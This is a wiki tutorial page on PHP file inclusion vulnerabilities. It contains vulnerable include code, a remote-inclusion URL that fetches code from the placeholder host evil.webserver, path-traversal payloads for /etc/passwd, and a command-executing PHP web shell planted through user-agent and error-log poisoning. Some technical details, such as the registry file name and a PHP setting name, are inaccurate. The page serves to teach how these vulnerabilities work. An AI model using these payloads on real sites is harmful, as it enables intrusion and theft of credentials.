Questions about this topic? Sign up to ask in the talk tab.

File Inclusion

From NetSec
Revision as of 11:33, 10 November 2011 by LashawnSeccombe (Talk | contribs) (Remote File Inclusion)

Jump to: navigation, search

Introduction

File inclusion is a vulnerability in web applications that exists because of PHP's include() function. This function does not merely include a library like in C, however executes the code as well. When a programmer allows a file to be selected for inclusion via any HTTP input, this creates a File Inclusion vulnerability. To patch this type of vulnerability, one may employ whitelisting or simply stop allowing user input to specify files for inclusion.

c3el4.png This could be classified as a design flaw in PHP for allowing the inclusion of files to begin with.

Remote File Inclusion

The example URI of a vulnerable site will be /include.php?file=howto.php

The code to include.php may look like:

 
 
 
 <HTML>
 <TITLE>Page Title</TITLE>
 <BODY>
 
 
 
 <?php
 include($_GET['file']);
  ?>
 
 
 
 
 </BODY></HTML>
 
 
 
 


An attacker that sees

 /include.php?file=howto.php

may change the URL to

 /include.php?file=http://evil.webserver/include.txt

and then gain access to every single username and password (or password hash) that is stored in the database.

This is known as Remote File Inclusion or RFI.

Local File Inclusion

Local file inclusion can be just as dangerous if not more so. Local file inclusion occurs when the php code at /local.php?file=welcome looks similar to the following, however allow_url_fopen and allow_url_includes has been disabled. This will only allow the attacker to access local files:


 
<?php
   include($_GET['file']);
?>
 


This is similar to the Remote File Inclusion vulnerability, however reviewing the code it can be seen that php is reading from a file on the local machine and then displaying it on the web page. The problem with this type of code is that now, instead of relinquishing execute, write, and read level permissions to an attacker, the programmer has still relinquished read level permissions to the attacker. Using this knowledge, the attacker can then specify a file on the remote host that the php server has permission to read and that file will be displayed in the web page. For example, the name of the file that contains the registry in windows is ntusers.dat in the windows directory. The attacker may request the URL:


 /local.php?file=../../../../../../../../../../../../../WINDOWS/ntusers.dat

Because local.php is vulnerable, it will display the registry of vuln.net in the attacker’s web browser. The attacker can then use the information gleaned from the registry to gather username and password hash combinations and begin cracking them. The first time the attacker sees a URL containing .php?file=, the attacker will most likely attempt a remote file inclusion. If that fails, the attacker will then most likely attempt local file inclusion. Both of these techniques can be used for cross-site scripting attacks.

A null Byte can be used to prevent concatenation in a script. For example, many scripts may append '.php' to a user supplied string in an include. Appending a null Byte (%00) will often short circuit this, allowing an attacker to include any file, regardless of extension.

If the remote host is a UNIX or Linux based system, the attacker may be able to view /etc/passwd or /proc/cpuinfo with this technique:

 /local.php?file=../../../../../../../../../../../../../etc/passwd

Or using null-bytes:

 /local.php?file=../../../../../../../../../../../../../etc/passwd%00

Because the file is being included, this means that the attacker can see it if it is a text file, or execute any php inside of it.

Two common input vectors for injecting php code are the "user-agent" and the httpd error log. The user-agent can be accessed through /proc/self/environ. Therefore, if a browser sends a user-agent string containing php code :

 
<?php
   system($_GET['cmd']);
?>
 

and accesses the file:

 /local.php?file=../../../../../../../../../../../../../proc/self/environ?cmd=whoami

They can retrieve the Linux or Unix username (output of the whoami command) in the return HTML of the php file.

The other method is to use the telnet command and cause a 404 error with a GET request:

 
 
 
GET <?php system($_GET['cmd']) ?> 
 

And then retrieve the following URL for the same output:

 /local.php?file=../../../../../../../../../../../../../usr/local/apache/log/error_log?cmd=whoami
  • Log file location may vary


Local File Inclusion
is part of a series on

Web Exploitation

Visit the Web Exploitation Portal for complete coverage.